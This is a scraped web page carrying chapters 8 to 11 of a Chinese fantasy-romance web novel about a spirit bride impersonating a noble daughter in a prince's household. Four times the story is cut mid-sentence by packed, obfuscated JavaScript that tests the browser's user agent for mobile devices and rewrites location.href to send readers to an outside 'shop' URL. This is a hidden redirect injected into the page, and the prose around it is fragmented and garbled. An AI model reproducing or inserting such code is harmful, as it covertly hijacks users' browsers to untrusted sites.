l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101522|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饶。 薛言辞被玄笔扶着,自人群后缓步走来,身后还跟着刚才跑去通风报信的青砚。 “本王倒是好奇,究竟是什么金贵的风筝,需得劳本王的王妃亲自去取?” 他漂亮的眸子从在场众人身上一个个搜过,像是自带隔断似的,看到哪里哪里的人就往后退。 薛言律恨恨一咬牙,她分明是替薛言辞着想,怕他旁边混入心怀不轨之人。 结果这人倒好,话里话外的阴阳她欺负他王妃。 她辛辛苦苦办一次踏春雅集要耗费多少心力?要不是涉及到薛言辞的安危,她犯得着在这种场合一反常态的试探? 薛言律越想越窝火,脸上完美的表情怎么都挂不住了,张口就呛他。 “皇兄真是好兴致啊,我们女儿家打闹,你也要横插一脚。怎么,男席那边没有你待的地方吗?” 在场众人齐齐一个寒颤,得,这兄妹俩今儿又要掐起来了。 这种场合她们在留在这,劝也不是不劝也不是,最重要的是有可能哪一句话触了安王的逆鳞便会惹祸上身。 于是她们麻溜的全散开了,一个个脑袋都不往这边扭。 金敏这下才放松了些,目光移到身前女子后背。 “呀。” 她轻呼出声:“你在流血。” 李执微动了动肩膀,眉头微蹙。 前两天刚挨了二十廷杖,还没好利索。刚才又为了接人使了劲,牵动伤口又渗血了。 她常年在军中摸爬滚打,这种小伤对于她来说无甚所谓,于是便也没搭理金敏。 金敏见她没听见似的,又怯生生的伸手,试探着拉了一下她的左手小拇指。 李执微一顿一顿的缓缓转头:“……?” 只见只见金敏诚恳的看着她:“我……我给你上药吧?” 等下。 这不对吧? 按照裴千霜的性子,这个时候应该对她鼻子不是鼻子眼不是眼的,不仅不领情还要再嘲讽一下啊? 李执微诧异开口:“你吃错药了?” 金敏:“我没吃药,但是我有治伤的药。” 说完伸出一根指头小心翼翼的指了指她的后背。 李执微盯着她陷入了沉默,愣了好半天才把狐疑的目光投向薛言辞。 薛言辞朝她微微点头,给她个安心的眼神。 李执微实在是不知道这两口子葫芦里卖的什么药,犹豫片刻,还是负手走向离她最近的厢房。 金敏提着裙子小碎步追上去,中途还踩了裙摆两脚。 纸黛和青砚也赶紧追着去了。 此处只剩下薛言辞和薛言律兄妹二人。 薛言律正准备甩手走人,就听薛言辞淡漠的声音传来。 “既然碰见了,一块走走吧。” 哈? 薛言律揉揉耳朵,她没听错吧? 薛言辞无奈转身,率先向着廊下走去,也没让玄笔继续扶着。 薛言律只得跟上,和他并肩同行。 “你那个王妃有点问题。”她还是没沉住气,忍不住提醒,“裴千霜本来就不是个善茬,现在……” “现在这个不是真正的裴千霜。”薛言辞语出惊人,把薛言律震得落后了两步。 “不是……”薛言律赶紧追上,“你都知道?” 薛言辞淡淡瞅她一眼:“我只是瞎,不是傻。” 薛言律:“……” 8. 第8章 “你先把衣服脱了吧。” 厢房内,金敏略显紧张的看着面前女子。 李执微眯着眼看她半晌,利落的解开腰带,将上衣褪到手肘处,露出新伤旧伤叠加的后背。 她倒要看看这个裴千霜到底要做什么。 给她下毒?还是借机羞辱? 让她来看看裴千霜的下限在哪里。 脑子里正胡思乱想着,后背伤处就传来一丝丝凉意。 那感觉不像是以前上药的正常感觉,她不由得打了个激灵。 “你用的什么药?” 背后那只手的动作一顿,然后细弱的声音传来:“我……我也不知道。” 她用的是她修炼过程中偶然得到的天地灵露,还真不知道应该将它称之为什么药。 李执微:“……?” 不知道什么药你就敢用? 一股邪火在心头上蹿下跳,她一耸肩把上衣穿上,转而怒道:“裴千霜你究竟想做什么?” 再一看她手里拿了个奇奇怪怪的瓶子,劈手夺过来,居然是个松塔。 李执微更生气了,她这时候哪怕拿一瓶鹤顶红都比这奇奇怪怪敷衍人的东西强。 拿个松塔是什么意思? 偏金敏又开始唯唯诺诺起来,看着是想要来抢她的松塔,又不敢有大幅度的动作,叫人看着窝火。 李执微气笑了,抬手就要把那破松塔扔出去。 结果手刚抬起来,顿时觉得哪里不太对。 背上的伤怎么一点都不疼了? 她举着松塔,左手按右肩的动了动,嘿,不仅不疼,还一身轻松,好像从来没受过伤似的。 李执微狐疑的看了看手里捏着的松塔,问:“你这到底是什么?” 金敏讷讷道:“就是……药吧。” 李执微:“……” 屋子里有落地铜镜,李执微把衣衫褪了,往镜子里一瞧。 背后左边那一片被上过药的地方洁白无瑕,不仅是前两天受的庭杖的伤,就连以往征战沙场时留下的旧伤伤疤都没了。 她大为震撼,凌厉的目光霍然看向角落里鹌鹑似的女子。 这样好的药,别说是她了,恐怕就连安王都没见过。 这绝对不是裴千霜能拿出来的东西。 李执微一把抓住金敏的手腕,旋身将她按在墙边,目光犀利,像是要把她拆开瞧瞧似的。 “说,你到底是谁?谁派你来的,接近安王目的何在?” 金敏被这一连串的拷问打懵了,越想解释越说不出来话,急得眼都是红的。 好在守在门外的纸黛听到屋里的动静及时闯了进来,赶紧挤在两人中间,将王妃护在身后。 “李将军。”她神情难得的严肃起来,“您要对王妃做什么?” 李执微冷笑一声,劈手将纸黛推开,左手成爪状直取金敏脖颈。 金敏几乎是凭借本能“嗖”的从她手下钻出去,一道光似的躲到了屋子另一角。 李执微心中诧异此人反应竟如此机敏,但面上没表露分毫,反手改换招式再去攻金敏要害。 两人就这样一个逃一个追,在屋里从这头闪到那头。 纸黛和青砚着急忙慌的想要阻拦,奈何根本追不上这两人的速度,只能急得原地打转。 慌乱间只听“嘭”的一声,整个屋子都随之震了震—— 是金敏一头撞在了屋子顶梁柱上。 李执微抓她的动作一顿,纸黛和青砚也双双愣在原地。 “咔咔”的声音接踵而至,之间那两人环抱一般粗的大梁开始肉眼可见的开裂掉渣,从低到高一路蜿蜒,连带着房梁也开始出现裂痕。 “坏了!” 金敏脑子嗡的一下,第一反应就是她好像又闯祸了。 细碎木屑簌簌往下掉,房梁上的裂缝越来越大,终于支撑不住“咔嚓”一声断裂。 紧跟着一大片碎瓦劈头盖脸的砸下来。 金敏尖叫一声,身形化作闪电,瞬间将屋子里还在愣神的三人抄起来逃向屋外。 李执微只觉得眼前白光一闪,再回过神已经在屋外了。 接下来不出十几秒的时间,方才她们待过的那座建筑就轰然倒塌,惊得四周侍卫纷纷围拢过来。 “发生了何事?” “翠竹轩塌了?” “怎么会这样?翠竹轩不是近期刚修缮过吗?” “……” 一道道声音钻入金敏耳朵,吓得她心怦怦跳。 她好像……闯大祸了。 薛言辞和薛言律听到动静也迅速赶过来,薛言律当即让人去查翠竹轩倒塌的原因,薛言辞则是在人群中寻找那个身影。 看到金敏窝窝囊囊的站在李执微身后,身上干起来干干净净不像是被砸过的样子,才默默松了口气。 松完这口气又觉得不对,这女人古怪的很,他担心她作甚? 李执微看看面前废墟,再看看一脸心虚的金敏,眼中情绪复杂。 刚才屋里发生的一切都太快了,旁人也许不知道,可她离得最近,清清楚楚的看到那顶梁柱是被安王妃一脑袋撞碎的。 屋子塌了,安王妃的脑袋却完好无损。 这说出去,恐怕旁人都要以为她发了癔症。 最后翠竹轩是怎么塌的,众人也没个定论,只能当作它年代太久远,支撑不住寿命到头了。 好在别院很大,塌了一处建筑也无甚影响。 李执微在短时间内接连遇到怪事,先是见识了药效超出认知范围的神药,又目睹了“以头触柱结果把房子撞塌”。 正心烦意乱着,忽然察觉到自己手心被人塞了什么东西过来。 她垂眸一看,是那个里面装着药的松塔。 再往后一看,金敏正做贼似的准备往薛言辞身边跑。 “站住。” 她一把薅住金敏的后脖颈,硬把人给拽回来,把药还给她:“这些小伤还奈何不了我,药就不必了。” 金敏眨巴眨巴眼睛,犹豫着开口:“可是你不疼吗?” 李执微眉毛轻挑。 金敏自言自语似的小声道:“你肯定很疼的,我也被人打过,他们用的棍子比打你的棍子细多了,可我还是疼了好久,动也动不得。你被打了那么多棍,肯定比我还疼。” 这话一说,李执微心底最后一丝疑虑被打消。 此时她已经能完全确定,此“裴千霜”绝不是原来那个人。 就算两人顶着一样的脸,此时这个新的“裴千霜”还是比原来那个要顺眼不少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101523|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李执微虽然还是有些别扭,但相比于刚才那警惕的脸色,已经柔和了很多。 她收下那松塔,手指在鼻子下快速一扫,发出一声含糊的“多谢”。 不远处的薛言辞身子略朝这边侧过来了些,余光落在金敏身上。 他知道这个王妃肯定是穷苦人家出身,没想到还吃过这样的苦。 如果不是刺客,也没有其他目的,倒是能考虑给她一个安身之所,让她不必再为了生存而奔波。 …… 后面的宴会很顺利,没有再出什么意外。 下午的活动是男女合席,金敏跟在薛言辞旁边,倒也清净。 散席的时候她看着面前席案上剩下的饭菜糕点,得知这些都要扔掉,一脸可惜。 “王爷。” 她伸出一根手指轻轻戳了戳薛言辞的后背,真诚发问:“我可以带走一些吗?” 本来是想偷偷拿的,但是她刚偷馒头被抓包过一次,有点不太敢。 薛言辞顿了顿,下意识想说别丢安王府的脸,话到嘴边想到她的出身和遭遇,又变成了:“拿吧。” 金敏欢快的掏出乾坤袋,去拿桌上的东西。 完全没被动过的芙蓉娘蟹斗,只少了一片的紫袍玉带羊腩,被挖了一小勺的湖泊鹿筋…… 她虽然不吃肉,但是家里还养着一个人呢。 薛言辞本来以为她拿两块糕点就算了,就一眼没瞅见,他俩桌案上的菜全都扫荡一空,想阻拦已经晚了。 纸黛和青砚在后面看得眼都直了,一个在震惊王妃怎么这么的勤俭持家,一个在好奇王妃把菜藏哪了。 回到安王府,金敏速速跑回她的飞星阁,把乾坤袋里的菜往外掏。 她今日出门觅食时间有点久,也不知道养的人会不会饿急了。 看着偿命从房梁上气定神闲的跳下来,没有什么急眼的迹象,她才悄悄松了口气。 偿命默默坐在桌边吃饭,她抬头环视四周,找了两处比较安全的地方,将乾坤袋里剩下的糕点和素食藏起来。 偿命看着她的动作没有作声,妖类多少都有些人类无法理解的习惯,是动物习性。 藏食物也是其中一种,这不足为奇。 金敏藏完吃的,又回到桌边,问他:“好吃吗?” 没得到回答。 她不气馁,自顾自的说:“这些菜我都想办法保温了,应该不凉吧?你再尝尝那个鹿筋,听说味道很好。” 偿命递到嘴边的筷子一顿,神情有些怔愣。 他很久没吃过热菜了。 刚进不法天的时候,每日都要训练比试,赢了才有饭吃,吃的都是腌制好的酱菜、烙饼。 这种东西最大的好处就是随时拿出来就可以吃,也不用费心思加热,这顿吃不完下顿还能继续吃。 后来成为十二罗刹之后,他任务很多。 为了降低暴露行动的风险,他早已习惯了随身携带干粮,在蹲守的空隙赶快咬两口顶饥。 本以为这些饭菜就是她随手打包回来的,没想到竟然还特意做了保温吗? 胸口莫名的有些发堵,像是有什么东西在那里泡发了,沉甸甸的发涨。 他赶紧摇摇头把这种奇怪的情绪压下去,胡乱扒了几口就起身逃回房梁。 9. 第9章 第二日一早,府上来了个稀客。 来来往往的下人们都悄悄用余光打量堂中坐着的笔直的身影。 李将军为了安王千里奔袭回京被罢官的事现在整个京城都传遍了。 再加上踏春雅集时,李将军和她们家王妃似乎还有些龃龉…… 难道这次来,是上门挑衅的? 李执微对这种杂七杂八的目光毫不在意,只垂眸默默喝茶。 等到薛言辞过来,慢悠悠在主位坐了,她才放下茶盏,拿出一样东西放在桌上。 “王爷可认得此物?” 玄笔快速上前将桌上放着的东西拿了,递给薛言辞。 其实薛言辞不必用手再去摸就已经看出那物件应该出自谁人之手。 一个松塔。 此物的主人除了他那个古怪的王妃不做他想。 不过他还是像往常一样伸手摸了摸,才微微诧异的问:“松塔?李将军这是何意?” 李执微看了一眼玄笔,玄笔会意,又看向薛言辞。 得了薛言辞点头后,他才退出门外。 屋里只剩下两人。 李执微一向有什么说什么,从不会拐弯抹角。 “王爷,此物是昨日……王妃交给我的。我回去差人查过,里面是一种可生肌焕骨的药水,不知是何成分。” 薛言辞露出恰到好处的惊讶:“王妃竟有如此奇药?不愧是裴公最看重的小辈。” 李执微有些郁闷,也许是因为安王自小眼盲,许多事情都要靠他人转述。 裴千霜是裴公最疼爱的小辈不假,但是“看重”这两字属实不敢苟同。 但是今日她来不是为了争辩这个,眼见安王还一副什么都不知道的天真样子,她实在是有些急躁。 “王爷,我性子直,有什么就说什么。若有得罪之处,还请王爷海涵。” 她朝薛言辞一拱手,将昨日发生的事一股脑儿全交代了。 薛言辞听完,微一偏头:“李将军的意思是,昨日翠竹轩是……王妃撞倒的?这未免也太……骇人听闻了些。” 李执微又想争辩什么,话到嘴边叹了口气:“我也知道此事说出去没人会相信,但我觉得王爷有知情的必要,所以才来这一趟。话我已经带到,至于信还是不信……我相信王爷自有决断。” 说完她再朝薛言辞一鞠,干脆利落的转身。 走到门口时她还是没忍住回头再看了一眼,男人坐在椅子上,凤眸微垂,姣好的面容上还有几分茫然和怀疑未褪,让人忍不住心生爱怜。 他并非世人眼中暴虐无常的怪胎。 胸口有些闷闷的发疼,李执微不由得抬手按了按,脑海中再次浮现她们初遇时的场景。 她出身武将世家,武将养孩子自然同文官不太一样,她打小跟着父兄大口吃肉,一顿能吃两大碗饭,比普通小姑娘高一头壮一圈。 头发衣裳也都是最利落的收拾法,以耐脏耐磨、行动方便为上。 在家里她从来没觉得有什么不对,但这里是京城,站在京城同龄的官家小姐堆里,实在是过于扎眼。 一开始其他的姑娘都只是因为她过于另类而不跟她来往,后来裴千霜发现了取笑她的乐趣,便带着一群手帕交变着法的欺负她。 她便是在最窘迫的时候,见到的薛言辞。 那时她被一群自诩饱读诗书气质如兰的姑娘围起来,你一言我一语的嘲讽。 “上次刚说你这衣裳不好,今儿可就换了?料子倒是极好的,可惜穿在你身上,倒像是圆鼓子套了层花布,瞧着更滑稽了。” “旁人都说这赏花宴上都是云端的仙娥,要我说啊还真不是,里面还有个飞不起来的胖子。” “妹妹早上梳洗的时候,那铜镜能装得下你的脸蛋吗?” “你这样的胖子以后还是别来宴席了,自己丢人不说还拉低我们的档次……” 七八岁的小姑娘哪经得住这样的攻击?偏又说不出什么反驳的话,被挤兑的直掉眼泪,只能撒气似的扯掉自己头上为了附和别人强戴上的簪子,把光鲜的衣裳抓得皱巴巴。 这个时候薛言辞从一旁路过,只一句“胖子不能来参加宴席?那本王这个瞎子是不是也污了你们的眼?” 所有人马上噤了声,又胆子大的反驳了句:“我们没有这个意思,我们只是和李妹妹开玩笑。” “开玩笑?”薛言辞虽然年岁小,气场可是足足的,一字一句掷地有声:“本王竟不知开玩笑是这样的开法,都是女眷,本王不同你们计较。能教养出这样的女儿,你们的父亲才应该好好查查,是不是真有为国效忠的能力。” 一听这话,所有人的脸一下子就白了。若是小辈打闹,撑破天就是回家跪一跪祠堂,哭一哭道个歉就罢了。 可若是因此牵连了父亲的仕途,那后果…… 总之经过了那一次后,李执微再也没有被恶意嘲讽过。 一阵风吹来,夹杂着几片院中的落花,落在李执微的鞋面。 她回过神来,没有再停留,举步踏出门槛。 等人的背影完全消失不见,薛言辞才收起脸上的神情,细细打量着手里的松塔。 原来昨日是王妃救了李执微,倒是他猜错了。 此女身手在李执微之上,又持有如此逆天药效的神药,若来他身边的目的不是刺杀,那还能是为什么呢? …… 夜半时分,王府中安安静静,只有偶尔传来的一两声鸟叫,掩盖黑暗中的暗涌。 在巡逻的队伍过去后,一道黑影以常人不可及的速度闪过,朝着角落的飞星阁快速而去。 与此同时,房梁上斜靠着合眼休息的偿命倏然睁开眼。 这熟悉的气息,是不法天有人来了! 按理说他刺杀安王的任务已经被迫搁置了三天,脱不了身又没办法传讯。墨主感应到他被困,一定会有后续动作。 要么派人来接应,要么派人来杀他灭口。 他紧张的握住剑柄,不知道墨主是如何吩咐的。 若是来接应,那再好不过。可若是来灭口…… 是他技不如人。 在不法天,废物没有活着的必要。就算是死,他也不会有任何怨言。 黑影顺利进入飞星阁,一路闪进王妃的卧房。 几乎是进门的瞬间,偿命就认出了来者是十二罗刹中与他齐名的断魂。 他们二人是一同进入的不法天,这么多年既是修罗场中的对手又是惺惺相惜的伙伴。 他们实力不相上下,以至于十二罗刹之首的位置在他俩中间飘忽不定。 能死在断魂手里,给断魂添上一笔业绩,也算是不亏。 他眼底涌现出一抹释然,在断魂走向床榻的路上,一跃落在他面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101524|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 断魂大惊,掩盖在面具下的眼睛登时睁大,诧异之色都快到天边了。 “偿命?你……你不是死了吗?” “死了?”偿命微一皱眉。 不该啊,他们不法天的所有人身上都有墨主种下的秘术“牵丝”。 不管他们走到哪里,只要还活着,墨主都能感应到他们的方位,甚至有时墨主心血来潮还能直接控制他们的行为。 他死没死,墨主肯定是知道的。 “你从哪里得知我死了的?”偿命隐约觉得哪里不太对,语气也严肃了些。 果然,断魂声音沉重的开口:“墨主说安王府或许早有防备,你已经死了,让我来接替你的任务,先放弃安王从王妃下手。” 两人说着,齐刷刷扭头看了一眼床上缩成一团的女子。 很明显,她早就醒了,此时浑身紧绷,恐怕只要断魂一动手就会死在她手下。 断魂对危险浑然不觉,当即打算出手。 偿命连忙按住他,朝他使了个眼色,拉着他先行退出卧房。 他们前脚刚翻窗出去,金敏后脚就连抚胸口。 大半夜的怎么又有人突然进来?吓死她了快! 还好被她养的人拦住了,但凡再多靠近床榻一步,她都得跳起来逃窜。 断魂和偿命在院子里找了个离得远的地方,开始交流情报。 “安王妃是妖,你现在杀不了她。”偿命快速解释,“如果你着急动手惹怒了她,极有可能和我一样被困在这里。” “这世间居然还有这么厉害的妖?为何不法天的档案中没有记录?” “不知道,也许她强大到连不法天都无法得到她的消息。” 偿命面色难看的摇了摇头,这妖的来历确实是个谜,他在这困了三天也没看出她究竟是个什么来路。 断魂默了默,他和偿命实力不相上下,偿命说他杀不了安王妃,他不听劝贸然动手极有可能会打草惊蛇。 罢了,待他回去回禀,问过墨主的意思再说。 那现在还有另一件事。 “为何墨主会说你死了?你身上的牵丝……断了?” 偿命面色凝重:“或许是。” 牵丝是墨主的独门秘术,这么多年从未有过失误。 现在偿命明明活着,墨主却以为他死了,只有一种可能—— 牵丝断了,导致墨主误以为偿命死了。 “怎么断的?发生了什么?” 偿命摇摇头:“不知道。” 他们完全察觉不到体内牵丝的存在,所以究竟什么时候断的、怎么断的,他确实不知道。 难道是那个女妖在暗中把牵丝断掉了? 偿命脑子突然有点乱,这几日他已经尽量避免和安王妃接触了,若真是她断的牵丝,那是什么时候动的手? 时间紧迫,断魂快速一考量,照着偿命胸前一擂。 “现在牵丝断了,你自由了。走,想办法马上走,别再回来,也别让不法天其他人找到你。” 偿命面露迷茫,断魂的意思是让他背叛不法天吗? 他早已没有了家,离开了不法天他还能去哪? 断魂背过身去,长长的吸了一口气,仰头看向澄净的夜空。 “如果有机会,替我去看看明镜海。听说那里的贝壳是彩色的,能听到海浪的声音。” 10. 第10章 薛言辞来的时候,金敏正蹲在院子里给一株茉莉松土。 这株茉莉先前一直半死不活的,今早金敏才发现它是开了灵智的,只是太虚弱了所以没法跟其他生灵沟通。 见薛言辞独自拿着盲杖进来,她赶紧拍拍手上的土,上前去扶。 两人入了屋内,薛言辞漠然扫了一眼依旧窝在房梁上的偿命,心下疑惑。 按理说不法天不应该允许杀手在外徘徊这么久。 难道他留在这里还有其他的目的? 目前敌暗我明,还是不要轻举妄动为好。 他轻咳一声,面向金敏:“今日回门,王妃可有所准备?” “啊?” 金敏呆了,什么是回门? 昨晚纸黛似乎是跟她提过这件事,但是她以为是门框坏了要寻人来修,就随口说了句“以后再说”。 原来不是修门框吗? 一瞧她这个样子,薛言辞就知道是怎么回事,也不多同她解释,周全道:“本王准备了厚礼,时辰不早了,王妃快些梳洗打扮吧。” 经过纸黛和青砚的一番捯饬,她一身体面的跟着薛言辞上了马车回裴府。 路上她心情忐忑,她现在要去裴家,可她完全不认识裴小姐的家人,这可怎么办才好? 正担心着,面前忽然递过来一本手札。 她疑惑抬眼,却对上薛言辞银灰色深邃的眸子。 “看看吧。” 薛言辞举着那手札轻轻一晃,她赶紧接下,翻开一看上面每一页都是人物画像。 第一页是一男一女,左边男子大肚尤其显眼,旁边还标注着:裴识,裴家大郎,裴公膝下长子,年三十二。 右边女子身形纤细眉眼精明,旁边标注:孟婉姿,裴识之妻,年三十。 薛言辞的话随之到来:“这是你大舅舅和大舅母。” “哦……”金敏讷讷点头,然后愣了一下,仰头看他。 “啊?” 薛言辞继续道:“后面一页是你二舅舅裴琅和二舅母周莲。” 金敏嘴唇动了动,脑子已经空白了。 薛言辞看着她傻乎乎的表情,压住想要翘起的嘴角,很是包容的叹了口气。 “事到如今,你还是不愿意将你的真实身份告知吗?” 金敏吞了吞口水,这才明白薛言辞已经知道她不是真正的裴家小姐了。 她将册子合起来慢慢放在膝上,手指紧张的抠着扉页,声音也有点颤抖。 “我……我只是……受人之托……” “受谁之托?” “裴小姐……” “裴千霜?” 金敏点点头:“应该是吧,就是我假扮的这个姑娘。” 她没问过名字,只知道是裴家小姐。 就连裴千霜这个名字都是后来听那个公主这么叫她,她才隐约知道。 薛言辞基本已经理顺了事情的来龙去脉,将他的猜测一条条列出来。 “所以是裴千霜不愿意嫁给本王,才去寻你,希望你替她嫁入王府?” 金敏不安的抠手:“嗯……” “她给了你什么,让你能这么帮她?” “她没给我什么,是我早年欠下的承诺,只是这次兑现了而已。” 薛言辞点点头,原来还是个重诺的。 他轻咳一声,对她手里的手札一扬下巴:“好好看一下里面的人,身份我都做了最简单的标注,你今日只需要把人和脸对上,见面知道叫什么就好。” 金敏没再说话,赶紧低头看手札。 里面人很多,但是按照重视程度已经做了批注,她先捡重要的、要正面接触的人记。 薛言辞看着她认认真真的小脑袋,不经意似的问了句:“还不知道你的名字。” 金敏翻书的手指顿了一下,犹豫片刻,才小声道:“金敏。” “金敏?” 薛言辞的目光从她背后的金色大尾巴上扫过,再联想到这女人的身手好到连李执微都抓不到她,不由得会心一笑:“倒是贴切。” 金敏没说话,翻书的速度却慢了下来。 这个名字是镜眠点化她时为她取的,因为她通身金色,在阳光下很漂亮。再加上她灵活敏捷,所以就叫了这个名字。 如今镜眠的转世再次问她的名字,无端就生出了些物是人非沧海桑田的怅然。 薛言辞沉默的坐了一会儿,没听到金敏接下来的话,心里刺挠得很,忍不住提醒她:“你是不是还没问过本王的名字?” 金敏奇怪的看他一眼,不知道他说这话是什么意思。 薛言辞又好气又好笑的拉过她的右手,在手心慢慢写他的名字。 “薛……言……辞,记住了吗?” 金敏点头:“记住了,不过这里不是有纸笔吗?” 写手心里又没有形状,她能看到个什么? 薛言辞:“……” 他皮笑肉不小的动了动嘴角:“本王不喜笔墨。” 外面驾车的玄笔啧了一声,差点笑出声来。 还不喜笔墨? 他和丹墨都是从小陪着王爷一起长大的,王爷心里那点小九九他比谁都清楚。 儿时先皇给他安排人来教他识字读书,他因为目不能视,学起来相比于其他人要困难很多。 每天他都是只能耐心学半个时辰,然后就开始着急发疯摔东西,叫嚷着把先生赶走。 安王喜怒无常的名声也是在这个时候初见雏形。 外人不知道,他可是亲眼所见,王爷每天后半夜都会悄悄爬起来练习白日里学的字。 一笔一画歪歪扭扭,有时还会写着写着就在纸上胡乱涂鸦,划破宣纸涂满桌子。 第二天再装作无事发生,继续白日里的那一套流程。 学字、摔东西、赶人。 将这些事禀报给先皇后,先皇沉默很久,然后交代他们只当作不知道,每天傍晚给他准备好要用的笔墨就行。 金敏瞅瞅薛言辞的异色瞳孔,也理解他为何说不喜笔墨。 虽然没看清手心的笔画,但大致知道个读音也行。 她继续低头钻研手里那本册子。 她本来就有些不认脸,就像人看动物不好分辨谁是谁一样,动物看人也觉得不都是两个鼻子一个眼。 薛言辞没辙了,只能忿忿拿了张纸在上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101525|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面写了自己的名字往她手札里一拍。 金敏:“……” 人家已经把纸递到她手里了,她再不重视也不太礼貌,于是她道了句谢谢,然后把纸折起来放入腰间乾坤袋。 薛言辞这才满意了些,继续问她:“你好像从来都不记别人的名字。” 金敏面色一僵:“你怎么知道?” “喏。”薛言辞朝着坐在车外的纸黛示意,“你梳妆的时候还叫她‘这位姑娘’。” 金敏咬着唇,不知道该怎么回答。 她确实有意识的避免了记住旁人的名字,这与他人无关,是她自己的习惯。 她保持这样的习惯已经六百多年了。 “为什么?”薛言辞盯着她的眼睛,追问到底:“是觉得我们的名字不配让你记住?” “不是的。” 金敏低下头,声音囔囔的。 “是因为知道了名字就会产生羁绊,产生羁绊后再离别会很痛苦。” 薛言辞问出这个问题前设想了很多原因,比如怕假身份被识破、再比如她的们这种……暂且称为异类的种群有特别的规矩。 万万没想到竟是因为这个。 因为害怕离别,所以选择不去认识? 他好笑的往后一靠,忍不住出言怼她:“那要照你这个说法,是人都要死的。我们每个人一出生就买一副棺材躺进去等死好了。” 金敏吓得跳起来捂他的嘴:“你别说死。” 马车适时轧上一块凸起的青石板,车身随之一颠。 金敏重心不稳,被晃的朝前一个趔趄,脑门险些撞上薛言辞的。 两人皆是一愣,金敏的手还按在薛言辞的嘴上,小指能感受到男子温热的呼吸。 车帘随风掀起一角,阳光从外面洒进来,落在女子的脸上,能看到琥珀色的瞳孔如纯净的宝石。 薛言辞咕咚一声咽了口唾沫,手已经不受控制的想要去扶她。 奈何金敏活了这么多年,敏捷性极强,几乎是在车身摇晃的后一秒就迅速撤回了身子坐回原处。 薛言辞保持在空中的手尴尬一握,转为掩唇轻咳了一声。 马车到了裴家,大老远的就看到许多人在门口候着。 见安王府的马车过来,立马有小厮殷勤的抱来脚凳,几个貌美的婢女等在一旁准备扶安王下车。 薛言辞从车窗内睨他们一眼,率先掀开车帘出去,不着痕迹的避开那些婢女的搀扶,按着玄笔的胳膊下了车。 甫一落地,他伸手掸了掸袖子上不存在的灰尘。一旁的丹墨会意,连忙将那几个婢女隔开,严肃道:“王爷不喜生人靠近。” 薛言辞转身朝着刚钻出来的金敏伸手,金敏刚想说不用扶,就听到薛言辞着重声调的叫了声:“夫人小心些。” 她这才反应过来,她现在是王妃,应该做做样子。 于是她将手放在薛言辞的掌心,故作矜持的慢慢下了车。 “小的给王爷王妃请安,二位一路辛苦,大爷二爷已经在府内候着,就盼着二位回来呢。” 管家点头哈腰的迎上来,满面春风。 薛言辞微一点头,被管家引着往里走。 11. 第11章 虽然裴公已逝,裴家也没有能撑得起家业的小辈,但这么多年积累下来的家底还是能支撑一家的荣华富贵的。 裴府大门朱红依旧,踏入门槛,脚下是光可鉴人的青石板路。 引路的仆从步子放得很轻,经过抄手游廊时,檐下的铜铃随风轻响。 穿过一层又一层的院子,终于来到了正堂。 堂中裴千霜的两个舅舅裴识和裴琅已经和夫人一同端坐等待。 待薛言辞和金敏进来,裴识率先起身笑脸相迎:“王爷,千霜,你们可算是回来了。一路车马劳顿,快坐下歇歇。” 裴识的夫人孟婉姿也赶紧拉住金敏的手:“霜儿啊,今日回门,舅母特意交代厨房做了你爱吃的菜。你都不知道,自从你出嫁之后,妙儿成日嚷嚷着要找你呢。” 几人在堂中坐下简单说了几句,两位舅母就拉着金敏要去后堂说说贴己话。 金敏干笑着被架着往后走,时不时向薛言辞投去个求救的目光。 看了两次想起薛言辞眼睛看不见,也就只能认命。 等到了薛言辞瞧不见的地方,两个舅母才你一言我一语的奔入正题。 “霜儿啊,以前老爷子在的时候就最疼你,你也是咱们家最尊贵的女儿。现在你成了安王妃,可不能忘了咱们自家人。” “是呀,你可要记好了,咱们才是一家人,有什么好处要多多的替你舅舅还有弟弟妹妹们筹谋。” “以前你未出嫁的时候舅母对你怎么样你是心中有数的。知道你从小没了娘,我们都是掏心掏肺的把你当亲闺女对待。” “听说光禄寺卿前些日子辞官还乡了,这位置不是空缺下来了吗?你问问王爷,向王爷举荐举荐你大舅舅。你大舅舅高升了,你娘家也有底气,在王府能挺得直腰杆不是?” 金敏别扭的把大舅母搭在自己肩膀的手推开,再把袖子从二舅母手里拽出来,夹着膀子往后缩。 两人一看外甥女这个样子,顿时心生疑惑。 要知道以前裴千霜在家里那可都是趾高气扬的。 